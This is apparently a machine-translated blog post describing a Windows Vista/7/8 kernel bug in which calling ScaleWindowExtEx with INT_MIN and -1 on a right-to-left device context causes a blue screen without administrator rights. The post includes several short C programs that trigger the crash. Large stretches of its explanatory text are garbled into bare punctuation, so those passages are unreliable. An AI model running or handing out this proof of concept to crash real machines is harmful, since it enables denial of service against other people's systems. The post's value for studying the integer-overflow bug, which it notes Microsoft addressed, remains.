かつて、友人がWindowsの脆弱性について教えてくれました。 つまり、そのため、
6行のCコードで
死のブルースクリーンを簡単に呼び出すことができます。 さらに、プログラムは管理者権限を必要とせず、1つのウィンドウスケーリング関数のみを呼び出します。

理論のビット
無効な命令の場合、プロセッサは例外をスローし、OS自体がその処理を決定します。 これがプログラムのエラーであり、何らかの方法で処理できない場合、システムはプログラムが動作を停止したという既知のメッセージを全員に提供します。
たとえば、このコードのゼロ除算は無効な命令です。
#include <stdio.h>
int main()
{
int a = 2 / 0;
printf ("%d", a);
return 0;
}
, (, warning).
, : .
INT_MIN / -1
—
INT_MIN -1.
, INT_MIN=
−2,147,483,648=-231, INT_MAX=
2,147,483,647=231-1. , : int , , .
, INT_MIN -1 int .
, , :#include <stdio.h>
#include <limits.h>
int main()
{
int a = INT_MIN;
int b = -1;
int c = a / b;
printf ("%d", c);
return 0;
}
Windows
Windows . - . - , : .
WinAPI , , . — ScaleWindowExtEx. — .
:
BOOL ScaleWindowExtEx(
_In_ HDC hdc,
_In_ int Xnum,
_In_ int Xdenom,
_In_ int Ynum,
_In_ int Ydenom,
_Out_ LPSIZE lpSize
);
, , . , — .
Xnum / Xdenom — x.
Ynum / Ydenom — y.
. , (device context) . , , - . , SetLayout.
, CreateCompatibleDC (NULL). SetLayout. ScaleWindowExtEx .
, , Windows .
INT_MIN -1 . - , .
gdi32.lib Windows:
#include <windows.h>
#include <limits.h>
int main()
{
HDC dc = CreateCompatibleDC (NULL);
SetLayout (dc, LAYOUT_RTL);
ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}
:
#include <windows.h>
int main() {
HDC dc = CreateCompatibleDC (NULL);
SetLayout (dc, LAYOUT_RTL);
ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}
INT_MIN -2147483648, , limits.h. , , . - .
Windows Vista, 7 8. 32- , 64- ( 64- ).
P.S. bash, .
UPDATE1: ((int) 0x8000/0x80000000) (-2147483647 — 1), . , AndreyDmitriev alper.
UPDATE2: Microsoft .
UPDATE3: «»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.